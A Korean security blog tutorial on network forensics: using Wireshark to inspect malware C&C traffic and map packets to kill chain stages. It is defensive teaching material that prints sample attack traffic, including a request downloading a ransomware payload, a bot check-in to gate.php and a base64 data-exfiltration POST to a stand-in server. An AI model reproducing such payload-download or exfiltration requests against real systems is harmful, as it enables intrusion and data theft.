본문 바로가기
일반IT/IT보안

[실습] "해커와 무슨 얘기를 나눴니?" 📡 C&C 서버 통신 패킷 분석 및 킬체인(Kill Chain) 분류

by gasbugs 2025. 12. 18.

안녕하세요, 디지털 세상의 도청 전문가(?) 여러분! 🕵️‍♂️🎧

지난 시간까지 우리는 악성코드를 PC 안에서 실행시키고, 어떤 짓을 하는지 지켜봤습니다(동적 분석). 파일도 만들고, 레지스트리도 건드리는 걸 확인했죠.

그런데 악성코드 분석의 '화룡점정'은 바로 네트워크 분석입니다. 악성코드는 혼자 움직이지 않습니다. 반드시 해커의 본거지인 C&C(Command & Control) 서버와 통신하며 명령을 받고, 훔친 정보를 내보냅니다.

마치 스파이가 적진에 침투해서 본부로 무전을 치는 것과 같죠. 📻 우리는 이 무전 내용(패킷)을 가로채서 "도대체 무슨 정보를 빼돌렸는지", "공격이 어느 단계까지 진행됐는지" 파악해야 합니다.

오늘은 Wireshark(와이어샤크)를 활용해 악성 패킷을 뜯어보고, 이를 사이버 킬체인(Cyber Kill Chain) 단계별로 분류하는 실습을 진행하겠습니다. 🦈


1. 📡 C&C 통신과 킬체인(Kill Chain)의 관계

분석에 앞서, 우리가 보는 패킷이 공격의 어느 단계인지 아는 것이 중요합니다. 네트워크 관점에서 킬체인은 크게 3가지 단계로 나뉩니다.

  1. 설치 (Installation): 악성코드가 추가 파일(Payload)을 다운로드하는 단계.
  2. 명령 및 제어 (C2): "나 살아있어!"라고 신호(Heartbeat)를 보내거나, 해커의 명령을 대기하는 단계.
  3. 행동 개시 (Action on Objectives): 키로깅한 정보나 문서를 해커 서버로 전송(Exfiltration)하는 단계.

우리의 목표는 패킷을 보고 이 3가지를 구분해내는 것입니다.


2. 🛠️ [준비물] 패킷 캡처 파일 (PCAP)

지난 동적 분석 실습 때 샌드박스에서 실행하면서 동시에 패킷을 캡처했다면 베스트입니다. 혹은 Malware-Traffic-Analysis.net 같은 사이트에서 교육용 PCAP 파일을 구할 수도 있습니다.

  • 도구: Wireshark (패킷 분석의 제왕)
  • 파일: infected_log.pcap (악성 통신이 담긴 파일)

3. 🦈 [실습 Step 1] 접속지 확인: "어디로 전화를 걸었나?" (DNS)

가장 먼저 봐야 할 것은 DNS 쿼리입니다. 악성코드는 보통 IP 주소보다는 도메인 이름(예: bad-hacker.com)을 찾습니다.

  1. 필터 입력: 와이어샤크 상단 필터창에 dns 라고 입력합니다.
  2. 패킷 확인: Standard query 부분을 봅니다.
    • google.com, microsoft.com은 무시합니다 (정상).
    • 이상한 도메인을 찾으세요!
    • 예: xkwz-update-server.biz, api.telegram.org (텔레그램을 C2로 쓰는 경우)

🕵️‍♂️ 분석 포인트
만약 도메인 이름이 a1b2c3d4e5.com 처럼 무작위 문자열이라면?
DGA(도메인 생성 알고리즘)를 사용한 악성코드일 확률이 매우 높습니다!


4. 📦 [실습 Step 2] 대화 내용 엿듣기: HTTP/TCP 스트림 분석

의심스러운 도메인 IP를 찾았다면(예: 192.168.10.100), 이제 구체적으로 어떤 데이터를 주고받았는지 확인합니다.

  1. 필터 입력: ip.addr == 192.168.10.100 && http (HTTPS라면 TLS로 보이지만, 오늘은 교육용 HTTP 기준)
  2. 스트림 추적: 패킷 리스트에서 우클릭 -> Follow -> TCP Stream (또는 HTTP Stream)을 클릭합니다.
  3. 대화 내용 확인:
    • 빨간색: 내가 보낸 데이터 (Request)
    • 파란색: 서버가 보낸 데이터 (Response)

5. ⛓️ [실습 Step 3] 킬체인 단계별 패킷 분류 (AI 활용)

TCP Stream 창에 외계어 같은 데이터가 보일 겁니다. 이때 AI의 도움을 받으면 기가 막히게 해석해 줍니다. 패킷 내용을 복사해서 AI에게 물어봅시다!

🟢 상황 1: 추가 악성코드 다운로드 (Installation 단계)

  • 패킷 내용:
    • GET /payload/ransom.exe HTTP/1.1 Host: 192.168.10.100 User-Agent: Mozilla/5.0...
  • AI 분석 요청: "이 HTTP 요청이 의미하는 바가 뭐야?"
  • AI 답변: "사용자가 서버로부터 ransom.exe라는 실행 파일을 다운로드하고 있습니다. 이는 킬체인의 Installation(설치) 단계에 해당합니다."

🟡 상황 2: 좀비 PC 신고 (C2 단계)

  • 패킷 내용:
    • POST /gate.php HTTP/1.1 Content-Length: 15 id=12345&os=win10
  • AI 분석 요청: "이 POST 요청의 목적이 뭘까?"
  • AI 답변: "감염된 PC가 자신의 ID와 운영체제 정보를 해커 서버(gate.php)에 등록하고 있습니다. 공격 준비가 완료되었음을 알리는 Command and Control(C2) 단계의 비콘(Beacon) 신호입니다."

🔴 상황 3: 정보 유출 (Action on Objectives 단계)

  • 패킷 내용:
  • HTTP
  • POST /upload HTTP/1.1 data=V2UgaGF2ZSB5b3VyIHBhc3N3b3JkIQ==
  • AI 분석 요청: "여기 data 파라미터 값이 Base64로 인코딩된 것 같아. 디코딩해서 무슨 내용인지, 공격 단계는 어디인지 알려줘."
  • AI 답변:
    • 디코딩 결과: "We have your password!"
    • 분석: "피해자의 중요한 정보를 외부로 빼돌리는 행위입니다. 킬체인의 마지막 단계인 Action on Objectives(목표 달성/정보 유출)에 해당합니다."

6. 📊 [결과 정리] 공격 시나리오 완성

네트워크 분석을 통해 우리는 막연했던 공격 흐름을 증거 기반의 시나리오로 완성할 수 있습니다.

📝 네트워크 포렌식 요약

  1. [14:00] Installation: 악성 도메인(mal-site.com)에서 payload.exe 다운로드 확인.
  2. [14:02] C2 Establishment: 감염 PC 정보(OS, IP)를 C2 서버로 전송하며 연결 수립.
  3. [14:05] Action on Objectives: passwords.txt 파일 내용을 POST 방식으로 유출 시도 확인.

🎉 마치며: 해커의 목소리를 들었다!

축하합니다! 👏 여러분은 이제 PC 내부(호스트)뿐만 아니라, 보이지 않는 선(네트워크)을 타고 흐르는 해커의 은밀한 대화까지 엿듣는 기술을 익혔습니다.

  • 파일 분석이 '지문 감식'이라면,
  • 패킷 분석은 '통화 내역 조회'와 같습니다.

이 두 가지 증거가 합쳐지면 해커는 더 이상 숨을 곳이 없죠. 😎

자, 이제 정말 9부 능선을 넘었습니다. 모든 분석은 끝났습니다. 이제 이 화려한 분석 결과를 정리해서 보고하는 일만 남았습니다.

다음 시간에는 이 시리즈의 대단원! "[최종] AI를 이용해 전문가급 악성코드 분석 보고서(PDF) 자동 생성하기"로 찾아오겠습니다. 여러분의 노력이 멋진 문서로 탄생하는 순간을 기대해 주세요! 👋